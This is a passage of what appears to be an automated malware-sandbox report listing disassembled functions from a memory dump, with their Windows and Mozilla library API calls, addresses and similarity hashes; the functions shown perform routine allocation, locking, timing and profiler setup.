Instruction Fuzzy Hash: 2C4127729187408BD320DF39D181B5AFBE5BF89750F108A6EE8D887321DBB49445CB82

Function 6BF79120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BF78242,?,00000000,?,6BF6B63F), ref: 6BF79188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BF78242,?,00000000,?,6BF6B63F), ref: 6BF791BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6BF78242,?,00000000,?,6BF6B63F), ref: 6BF791EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BF78242,?,00000000,?,6BF6B63F), ref: 6BF79200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BF78242,?,00000000,?,6BF6B63F), ref: 6BF79219

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 320b5a8a83d111ef5ea0b634d69d0ae5b0e15d1c1c5ba161c9839ba1acca673e
Instruction ID: 9dcd18eca00fb9eba3ffff84308cabda37caf29c4cd41c01813cafe2a7f09ab9
Opcode Fuzzy Hash: 320b5a8a83d111ef5ea0b634d69d0ae5b0e15d1c1c5ba161c9839ba1acca673e
Instruction Fuzzy Hash: 25310233A106059BEB20EF68EC4476A73A5EB81200F4185BAD856D7261EF74D818CBA1

Function 6BF60800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF60838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF6084C
EnterCriticalSection.KERNEL32(?), ref: 6BF608AF
LeaveCriticalSection.KERNEL32(?), ref: 6BF608BD
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF608D5

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 8444010e2fe4e053ff2157357b9b58c984c010535341f83a7b70e38867b8a1c5
Instruction ID: 6ef0e184575b4c9f198bc238ce65cca140a0424a9041af04209121d1ccb3ca71
Opcode Fuzzy Hash: 8444010e2fe4e053ff2157357b9b58c984c010535341f83a7b70e38867b8a1c5
Instruction Fuzzy Hash: 5021C532A1020ECBEB08CF74D8C5BAE7379AF45744F604568D909E7261EB79E4088F90

Function 6BF7CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7CDA4

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

Part of subcall function 6BF7D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6BF7CDBA,00100000,?,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7D158
Part of subcall function 6BF7D130: InitializeConditionVariable.KERNEL32(00000098,?,6BF7CDBA,00100000,?,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7CDC4

Part of subcall function 6BF77480: ReleaseSRWLockExclusive.KERNEL32(?,6BF815FC,?,?,?,?,6BF815FC,?), ref: 6BF774EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7CECC

Part of subcall function 6BF3CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF3CAA2

Part of subcall function 6BF6CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6BF7CEEA,?,?,?,?,00000000,?,6BF6DA31,00100000,?,?,00000000), ref: 6BF6CB57
Part of subcall function 6BF6CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6BF6CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6BF7CEEA,?,?), ref: 6BF6CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6BF6DA31,00100000,?,?,00000000,?), ref: 6BF7D058

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 50fc0bfcb5ae0d55a4e16188336a861359fa8bd5960e3d6c6335a29a307b3df7
Instruction ID: 0ab395b7ea9ba2a14230a6f1aacf9c996cd9aad9a229a8741fce0666be12e833
Opcode Fuzzy Hash: 50fc0bfcb5ae0d55a4e16188336a861359fa8bd5960e3d6c6335a29a307b3df7
Instruction Fuzzy Hash: 2CD17176A047069FD718DF38D480799F7E1BF89304F01866ED8598B221EB31E965CBD1

Function 6BF31720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF317B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6BF318EE
free.MOZGLUE(?), ref: 6BF31911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF3194C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: fe66b77028dfed38f481d5901e0254c1d704a28bbec59f947d3458d50b3b3eb0
Instruction ID: 903a7fd2db6fef64262b9e59ca6b9b38642689dfd94c955cc66e69c4ceb308bb
Opcode Fuzzy Hash: fe66b77028dfed38f481d5901e0254c1d704a28bbec59f947d3458d50b3b3eb0
Instruction Fuzzy Hash: 8981B572E11225DFDB08CF68D8949AEBBB1FF89310F14456CE811AB364D734AA54CBE1

Function 6BF45C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6BF45D40
EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF45D67
__aulldiv.LIBCMT ref: 6BF45DB4
LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF45DED

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 4e5081ac584c434ebe3acacfdf14c9aefe2b539122d562825ee50d59448eb02e
Instruction ID: 07dfe18484b5d5890b9e371fa1f83270d149a30ecb0f19433ceaab49d5781967
Opcode Fuzzy Hash: 4e5081ac584c434ebe3acacfdf14c9aefe2b539122d562825ee50d59448eb02e
Instruction Fuzzy Hash: CC516D72E14129CFCF08DF68C854BAEBBB1FF89704F198619C911A7761D734A949CB90

Function 6BF87170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6BF87250
EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF87277
__aulldiv.LIBCMT ref: 6BF872C4
LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF872F7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: afba5eb892aa02f1baf720e36681434727afb828b5e1e5f15afc52ca05937dbf
Instruction ID: ef68ca33544179b8d5d49332452734d96ba5c1a289fb3347618d2a10466fb6e4
Opcode Fuzzy Hash: afba5eb892aa02f1baf720e36681434727afb828b5e1e5f15afc52ca05937dbf
Instruction Fuzzy Hash: 72513F72E10129CFCF0CCFA8C891BAEBBB1FB89704F158619D855AB761C735A945CB90

Function 6BF2CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF2CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6BF2CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6BF2CF4E

Strings

0, xrefs: 6BF2CF30

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9a0f7cf32c32d2cc15f783adec16c19487e2cd744e4b3f999dff314a8a9e82c1
Instruction ID: 547fffecc7f59d84625b6af46545f9a22533b4298cafb62072e8b993ae2524ac
Opcode Fuzzy Hash: 9a0f7cf32c32d2cc15f783adec16c19487e2cd744e4b3f999dff314a8a9e82c1
Instruction Fuzzy Hash: 095124729006568FCB00CF18C490A9AFBB5EF99300F19859DD8595F362D335ED16CBE0

Function 6BF6E390 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6E3E4
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BF6E4AB

Part of subcall function 6BF35D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6BF6D2DA,00000001), ref: 6BF35D66

ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E4F5
GetCurrentThreadId.KERNEL32 ref: 6BF6E577
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E584
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6BF6E6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF6E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6E883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF6E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6BF6E5A1, 6BF6E5CC, 6BF6E5FF, 6BF6E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BF6E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BF6E826, 6BF6E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BF6E722, 6BF6E750, 6BF6E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BF6E655

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-53385798
Opcode ID: 1ae4a050bb4f6e777f901d7a27ec0ba6ab399600a20f758ad1c7e5bd68b4bfcf
Instruction ID: bb9ab97d29e25f7090b7093c12315d221b3ced0fb1e81e5aab20b8dcb78b50e9
Opcode Fuzzy Hash: 1ae4a050bb4f6e777f901d7a27ec0ba6ab399600a20f758ad1c7e5bd68b4bfcf
Instruction Fuzzy Hash: 5F417C76A1060ADFCB18CF28C890BAAB7B1FF4A344F00416DDD569B761E738E855CB90

Function 6BF7DAE0 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF7DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6BF7DC0E
free.MOZGLUE(?), ref: 6BF7DC2E
free.MOZGLUE(?), ref: 6BF7DC40

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID:
API String ID: 3186548839-0
Opcode ID: 0c0d5df5220f19b9c0d2e0e3c8d1a37000483108fa3b5b66f25dd901e9dce3f1
Instruction ID: 81f2f7f92161a745118a9ddd37e170ab19c1c57a5cbbb195881c0bf7bf6847e5
Opcode Fuzzy Hash: 0c0d5df5220f19b9c0d2e0e3c8d1a37000483108fa3b5b66f25dd901e9dce3f1
Instruction Fuzzy Hash: A8416BBA6007018FC710DF38C498B5ABBF5FF88254F5588AEE49A87361EB35E844CB51

Function 6BF877D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF877FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6BF87829

Part of subcall function 6BF5CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6BF231A7), ref: 6BF5CC45
Part of subcall function 6BF5CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6BF231A7), ref: 6BF5CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6BF8789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6BF878CF

Part of subcall function 6BF24DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BF24E5A
Part of subcall function 6BF24DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BF24E97

Part of subcall function 6BF24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6BF63EBD,6BF63EBD,00000000), ref: 6BF242A9

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 62d2f8d94fde0145cc67aeb3d523f4adcfcfcbb44947f66a14fe6704c7375fed
Instruction ID: c9eeb2a4829297537353edccad53461b9042a70188665f17640b0b61325e81af
Opcode Fuzzy Hash: 62d2f8d94fde0145cc67aeb3d523f4adcfcfcbb44947f66a14fe6704c7375fed
Instruction Fuzzy Hash: A341D0729047468FD300DF29D48052BFBF4FFCA254F604A2EE4A9872A1DB34E559CB92

Function 6BF66470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6BF682BC,?,?), ref: 6BF6649B

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF664A9

Part of subcall function 6BF5FA80: GetCurrentThreadId.KERNEL32 ref: 6BF5FA8D
Part of subcall function 6BF5FA80: AcquireSRWLockExclusive.KERNEL32(6BFAF448), ref: 6BF5FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF6653F
free.MOZGLUE(?), ref: 6BF6655A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 31491a3caafb9611dcb54ff828335099fe599cbbe095610d7cb8940f69ffca24
Instruction ID: 7b0c7e690152fa5cc0d44256c392b0d7d8bb1d7880760f7deeac6957b00e92ff
Opcode Fuzzy Hash: 31491a3caafb9611dcb54ff828335099fe599cbbe095610d7cb8940f69ffca24
Instruction Fuzzy Hash: EF3181B6A04305AFDB04CF24D88165EBBE4FF99314F00446EF85A97361E734E918CB92

Function 6BF7A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BF7A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6BF7A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6BF7A36A

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

Part of subcall function 6BF72140: free.MOZGLUE(?,00000060,?,6BF77D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF7215D

free.MOZGLUE(00000000), ref: 6BF7A37C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: aa46af43b6a676a369978a139b1158891e8767b93b9290630b8af11306d52d87
Instruction ID: d690e929616e2ce840920b95d6fa51171c97661615270f6c3b2bdd2880291527
Opcode Fuzzy Hash: aa46af43b6a676a369978a139b1158891e8767b93b9290630b8af11306d52d87
Instruction Fuzzy Hash: C321F973A002249BDB21AF29E440B5FBBE9EF86754F0540A6ED095B321D73BED12C6D1

Function 6BF5FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6BF7D019,?,?,?,?,?,00000000,?,6BF6DA31,00100000,?), ref: 6BF5FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6BF7D019,?,?,?,?,?,00000000,?,6BF6DA31,00100000,?,?), ref: 6BF5FFF5
free.MOZGLUE(?,?,?,?,?,6BF7D019,?,?,?,?,?,00000000,?,6BF6DA31,00100000,?), ref: 6BF6001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6BF7D019,?,?,?,?,?,00000000,?,6BF6DA31,00100000,?,?), ref: 6BF6002A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 4aeda60c52842d1ca18522f81bb29e4cc3e7e4576fd1fa67e164896a3ad91a53
Instruction ID: b24f94988d7bddf5f9f053b9b30aeeff7ad2b77731c4cb852f83c33264107ffd
Opcode Fuzzy Hash: 4aeda60c52842d1ca18522f81bb29e4cc3e7e4576fd1fa67e164896a3ad91a53
Instruction Fuzzy Hash: D621F1B3E002165BD7089E789C948AEB7AAEAC52203250378E925D7390EA74AD1182E0

Function 6BF45B50 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF456EE,?,00000001), ref: 6BF45B85
EnterCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45B90
LeaveCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45BD8
GetTickCount64.KERNEL32 ref: 6BF45BE4

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Count64CounterEnterLeavePerformanceQueryTick
String ID:
API String ID: 2796706680-0
Opcode ID: b1ed9fadb980f5af9b2f42a676fba85e6cd53bb50a54b2ce5f05e29c748a62ca
Instruction ID: 19f01ef753e6fba5466dbf887d2a73b05139e69d71bc5b665762f2a275c6166f
Opcode Fuzzy Hash: b1ed9fadb980f5af9b2f42a676fba85e6cd53bb50a54b2ce5f05e29c748a62ca
Instruction Fuzzy Hash: 44217E76614704DFCB0CDF68C45565EBBE5AB8A710F04C82EE99AC73A1DB74E808CB81

Function 6BF71B80 Relevance: 6.1, APIs: 4, Instructions: 77threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF71B98
AcquireSRWLockExclusive.KERNEL32(?,?,6BF71D96,00000000), ref: 6BF71BA1
ReleaseSRWLockExclusive.KERNEL32(?,?,6BF71D96,00000000), ref: 6BF71BB5
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF71C25

Part of subcall function 6BF71C60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6BF7759E,?,?), ref: 6BF71CB4

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
